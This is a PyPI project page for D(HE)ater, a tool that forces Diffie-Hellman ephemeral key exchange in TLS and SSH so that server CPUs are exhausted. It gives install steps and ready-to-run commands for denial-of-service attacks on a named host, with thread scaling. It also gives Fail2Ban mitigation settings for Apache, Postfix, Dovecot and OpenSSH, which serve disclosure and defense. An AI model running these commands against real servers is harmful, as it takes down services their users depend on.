Skip to main content

D(HE)ater is an attacking tool heating the CPU by enforcing DHE KEX in case of TLS and SSH

Project description

D(HE)ater

D(HE)ater is an attacking tool based on CPU heating in that it forces the ephemeral variant of Diffie-Hellman key exchange (DHE) in given cryptography protocols (e.g. TLS, SSH). It is performed without calculating a cryptographically correct ephemeral key on the client side, but with a significant amount of calculation on the server side. Based on this, D(HE)ater can initiate a denial-of-service (DoS) attack.

Quick start

D(HE)ater can be installed directly via pip from PyPi

pip install dheater
dheat --protocol tls www.example.com
dheat --protocol ssh www.example.com

or can be used via Docker from Docker Hub

docker pull balasys/dheater
docker run --rm balasys/dheater --protocol tls www.example.com
docker run --rm balasys/dheater --protocol ssh www.example.com

You can increase a load by string extra threads.

dheat --thread-num 4 --protocol tls www.example.com
docker run --rm balasys/dheater --thread-num 4 --protocol tls www.example.com
docker run --rm balasys/dheater --thread-num 4 --protocol ssh www.example.com

Mitigation

Fail2Ban

TLS

Apache

There is no necessary filters.

  1. apache-ssl.conf in fail2ban directory should be copied filter.d directory under the fail2ban configuration directory
  2. the followings should be added to jail.local file in fail2ban configuration directory
[apache-ssl]

port    = https
logpath = %(apache_error_log)s
maxretry = 1
Postfix

There is a necessary filters, but it is applied only in ddos mode. The followings should be added to jail.local.

[postfix]
mode = ddos
Dovecot

There is a necessary filters, but it is applied only in ddos mode. The followings should be added to jail.local.

[dovecot]
mode = aggressive

or a specific filter can be used without changing the mode of the dovecot filter.

  1. dovecot-ssl.conf in fail2ban directory should be copied filter.d directory under the fail2ban configuration directory
  2. the followings should be added to jail.local file in fail2ban configuration directory
[dovecot-ssl]

port    = pop3,pop3s,imap,imaps,submission,465,sieve
logpath = %(dovecot_log)s
backend = %(dovecot_backend)s
maxretry = 1

SSH

OpenSSH

There is a necessary filters, but it is applied only in ddos mode. The followings should be added to jail.local.

[sshd]
mode = ddos

License

The code is available under the terms of Apache License Version 2.0. A non-comprehensive, but straightforward description and also the full license text can be found at Choose an open source license website.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

DHEater-0.2.0.tar.gz (10.7 kB view details)

Uploaded Source

Built Distribution

DHEater-0.2.0-py3-none-any.whl (10.6 kB view details)

Uploaded Python 3

File details

Details for the file DHEater-0.2.0.tar.gz.

File metadata

  • Download URL: DHEater-0.2.0.tar.gz
  • Upload date:
  • Size: 10.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.2 importlib_metadata/4.6.4 pkginfo/1.4.2 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.57.0 CPython/3.9.7

File hashes

Hashes for DHEater-0.2.0.tar.gz
Algorithm Hash digest
SHA256 e13ca067626124ee38e5503d419809700bdebe66733b4e7205b00d7416f8fb00
MD5 fe88647eee18a5b08f704b889af871c8
BLAKE2b-256 2a80dcca5c853c2e166366d500d8b672daa83bc800dfb5b0d767a2130161f4b8

See more details on using hashes here.

File details

Details for the file DHEater-0.2.0-py3-none-any.whl.

File metadata

  • Download URL: DHEater-0.2.0-py3-none-any.whl
  • Upload date:
  • Size: 10.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.2 importlib_metadata/4.6.4 pkginfo/1.4.2 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.57.0 CPython/3.9.7

File hashes

Hashes for DHEater-0.2.0-py3-none-any.whl
Algorithm Hash digest
SHA256 d21056a5655bb6fc542d03e49c9e388c21a50b93b685372b0090e5f429acbb1f
MD5 1cfb4e424dfddd7e93105f83bdb0255f
BLAKE2b-256 36afaefc325011a6e0323da89282e0f7bd997f753e2924c1135715097da134f8

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page